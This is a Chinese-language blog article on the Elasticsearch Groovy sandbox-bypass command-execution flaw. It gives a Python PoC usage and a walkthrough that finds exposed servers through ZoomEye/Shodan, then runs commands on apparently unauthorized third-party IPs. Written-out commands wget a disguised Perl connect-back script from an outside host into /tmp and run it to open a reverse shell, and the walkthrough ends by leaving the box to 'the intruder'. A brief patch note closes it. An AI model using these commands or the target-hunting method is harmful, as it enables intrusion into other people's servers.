首页 » 漏洞 » ElasticSearch命令执行漏洞:通过perl进行反弹shell

ElasticSearch命令执行漏洞:通过perl进行反弹shell

 

 ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是第二最流行的企业搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。目前网络公开部署Elasticsearch大概有数万台服务器,内部网络部署就不计其数了。Elasticsearch用了两个危险性的脚本MVEL和Groovy。2014年5月MVEL爆出来命令执行漏洞,这次轮到Groovy了,Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令,已修复的版本是Elasticsearch 1.3.8 和 1.4.3。 这个漏洞不亚于Java Struct执行命令漏洞,对与Linux和Windows平台都适用,在实际测试中也有授权为最高权限root或者system权限的,可以获取webshell和最高系统权限。

受影响版本:

cpe:/a:elasticsearch:elasticsearch:1.4.2

cpe:/a:elasticsearch:elasticsearch:1.4.0

cpe:/a:elasticsearch:elasticsearch:1.3.7

cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1

cpe:/a:elasticsearch:elasticsearch:1.4.1

(一)可利用POC

目标地址http://www.antian365.com:9200/_search?pretty

POST提交以下数据

ElasticSearch命令执行漏洞:通过perl进行反弹shell

(二)perl可利用poc代码

将以下代码保存为ElasticSearch.py,执行python ElasticSearch.py http://www.antian365.com:9200/ " cat /etc/issue " 即可执行命令。需要执行其它命令替换“cat /etc/issue”命令即可。

ElasticSearch命令执行漏洞:通过perl进行反弹shell

(三)通过perl脚本利用该0day获取权限思路

需要在公网IP准备一个pl的反弹脚本,例如back.pl,可以将脚本文件伪装为jpg文件上传到网站然后下载。例如www.antian365.com/lab/linux0day/back.pl.txt。然后依次执行以下命令即可。

ElasticSearch命令执行漏洞:通过perl进行反弹shell

说明:

(1)www.antian365.com为被攻击目标的IP或者域名,IP地址123.123.123.123为公网独立IP,80端口为该服务器未开放端口。

(2)有部分服务器由于未安装perl环境,因此有可能执行命令失败。

(四)实战案例

 

(1)搜索目标对象

 

通过http://www.zoomeye.org/或者shodanhq.com搜索“ElasticSearch”关键词,直接访问网站地址http://www.zoomeye.org/search?q=ElasticSearch&t=host即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况。随机选择一个IP进行,本例选择第一个IP地址http://192.241.225.207/,同时单击IP地址右上角的一个小图框连接地址,例如打开地址http://192.241.225.207:9200/进行访问,确认该IP地址是否存活。

ElasticSearch命令执行漏洞:通过perl进行反弹shell

图1 搜索目标对象

(2)执行命令

直接执行python ElasticSearch.py http:// 192.241.225.207/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl" 命令,但反馈结果为“HTTP Error 500: Internal Server Error”,如图2所示。

再次使用FireFox便携版本进行测试,输入目标地址http://192.241.225.207:9200/_search?pretty,在Post data中输入

ElasticSearch命令执行漏洞:通过perl进行反弹shell

其结果显示如图3所示,表明该漏洞已经修复或者不可用。

ElasticSearch命令执行漏洞:通过perl进行反弹shell

图2执行命令

ElasticSearch命令执行漏洞:通过perl进行反弹shell

图3再次测试漏洞是否可用

通过测试多个搜索结果,找到一个还存在漏洞的IP地址,在0day出来的第一时间基本每个目标都能执行,每多一分钟就减少一个,直接执行以下代码,成功运行,无任何结果显示,表明文件下载到服务本地成功。

python ElasticSearch.py http://192.241.222.40:9200/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl"

执行以下命令,成功后会显示“Perl Connect-back Backdoor、Auther:Maple-x”表明shell执行成功,如图4所示。

python ElasticSearch.py http:// 192.241.222.40:9200/ "/usr/bin/perl /tmp/back.pl 124.123.122.11 80"

在本地监听端口过几秒种就会反弹shell回来,执行ifconfig命令,如图5所示,确认反弹shell成功,后续操作就任由入侵者发挥了!

ElasticSearch命令执行漏洞:通过perl进行反弹shell

 

图4反弹shell命令成功

ElasticSearch命令执行漏洞:通过perl进行反弹shell

图5成功获取shell

(五)修复方法

建议用户更新到最新版本。当然如果不想升级版本也可以通过修改elasticseach.yml的script.groovy.sandbox.enabled 为false就行了。

原文链接:ElasticSearch命令执行漏洞:通过perl进行反弹shell,转载请注明来源!

0